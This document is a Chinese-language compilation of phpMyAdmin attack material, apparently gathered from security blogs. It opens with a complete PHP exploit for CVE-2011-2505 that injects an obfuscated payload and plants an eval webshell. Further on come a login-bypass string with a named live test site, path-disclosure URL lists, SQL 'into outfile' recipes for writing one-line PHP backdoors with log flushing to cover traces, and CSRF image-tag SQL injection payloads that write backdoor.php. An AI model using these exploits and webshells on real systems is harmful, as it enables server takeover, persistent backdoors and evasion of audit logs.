phpMyAdmin3 remote code execute php版本 exploit
来源：http://www.oldjun.com/blog/index.php/archives/81/
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
于是写了这个php版本的exp，代码如下：
#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
/**
* working when the directory:"config" exists and is writeable.
**/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
exit;
}
$host = $argv[1];
$path = $argv[2];
/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
echo "[+] token:$token\n";
echo "[+] Session ID:$sessionid\n";
}else{
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
/**
* Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
echo "[+] Congratulations! Expoilt successfully....\n";
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
function php_request($url,$data='',$cookie=''){
global $host, $path;
$method=$data?'POST':'GET';
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
$packet .= "Accept: */*\r\n";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$packet .= "Host: $host\r\n";
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
$packet .= $cookie?"Cookie: $cookie\r\n":"";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data?$data:"";
$fp = fsockopen(gethostbyname($host), 80);
if (!$fp) {
echo 'No response from '.$host; die;
}
fputs($fp, $packet);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?> PHPmyadmin 2.11.4万能密码漏洞
PHPmyadmin 2.11.4
PHPmyadmin 2.11.3
两个版本都有此漏洞
我去测试了一下 确实可以用。。。
给你找到一个测试网址http://www.hitag.cn
你们可以试一下
只需要输入账号 密码不需要输入
利用代码如下：
‘localhost’@'@”
http://www.cnyzy.cn/blogview.asp?logID=1840
dedecms、phpmyadmin暴路径最新收集
漏洞描述：
dedecms 5.5程序泄露网站路径信息。
测试地址：
http://www.xxx.com/plus/paycenter/alipay/return_url.php
http://www.xxx.com/plus/paycenter/cbpayment/autoreceive.php
http://www.xxx.com/plus/paycenter/nps/config_pay_nps.php
http://www.xxx.com/plus/task/dede-maketimehtml.php
http://www.xxx.com/plus/task/dede-optimize-table.php
http://www.xxx.com/plus/task/dede-upcache.php
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
phpmyadmin拿shell
首先：
create database joyuan; /* 建立数据库joyuan */
use joyuan; /* 连接joyuan数据库 */
create table shell(code text); /* 建立表shell字段code文本型数据text */
然后：
insert into shell(code) /* 插入数据到shell表中的code字段 */
values ('shell代码'); /* 值为shell代码 我用PHP一句话，看后面*/
select * into outfile '/home/www/htdocs/server.php' from shell;
/* 将shell表中的内容输出保存为文件(输出到web目录下，要不就无法访问shell了，可以直接输出到phpmyadmin目录下，不知道就phpinfo) */
flush logs /* 删除日志 */
删掉刚建的joyuan数据库，直接删除或执行SQL命令：drop database joyuan;
利用PHP一句话客户端（http://linux.chaom.net/Shell.Htm）写自己的shell
PHP一句话的服务端地址就是：http://xxx/phpmyadmin/server.php
搞定，嘿嘿。
PHP一句话服务端代码：
<?php eval($_POST[cmd]);?>
========================================
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
========================================
①建立数据库
create database hakz /*建立数据库hakz*/
use hakz /*连接hakz数据库*/
create table shell(code text) /*建立表shell，字段code为文本型数据*/ ②插入导出shell
insert into shell(code) values ('后门代码'); /*插入shell代码*/
select * into outfile '/home/www/website/…路径/shell.php' from shell;
/*导出shell到web路径下*/
flush logs /*删除日志 这一点很重要哦*/ ③删除临时数据库
drop database hakz /*或者直接在phpmyadmin中进行可视化操作*/
最后附上几种PHP一句话服务端代码：
<?php eval($_POST[hakz]);?>
<?php @eval($_POST[hakz]);?> /*容错代码*/
<?php assert($_POST[hakz]);?> /*assert 函数和 eval一样*/
<?@include($_POST["hakz"]);?>
=====================================
phpMyAdmin table参数SQL注入漏洞
原作者未知
影响版本:
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x漏洞描述:BUGTRAQ ID: 32720
phpMyAdmin是用PHP编写的工具，用于通过WEB管理MySQL。
phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中没有正确地过滤table参数：
$_result = PMA_DBI_try_query(
'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);
PMA_sqlAddslashes()函数仅禁用了单引号，但忽略了反勾号（`）和双引号（"），因此远程攻击者可以通过提交恶意请求执行SQL注入攻击。<*参考
http://secunia.com/advisories/33076/
http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
http://www.milw0rm.com/exploits/7382
*>SEBUG安全建议:phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100测试方法:[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
*nix平台：
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
path:
/var/www/backdoor.php
backdoor:
<?php eval($_GET[e]);?>
Windows平台：
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1">
</html>
path:
c:/xampp/htdocs/backdoor.php
backdoor:
<?php eval(stripslashes($_GET[e]));?>
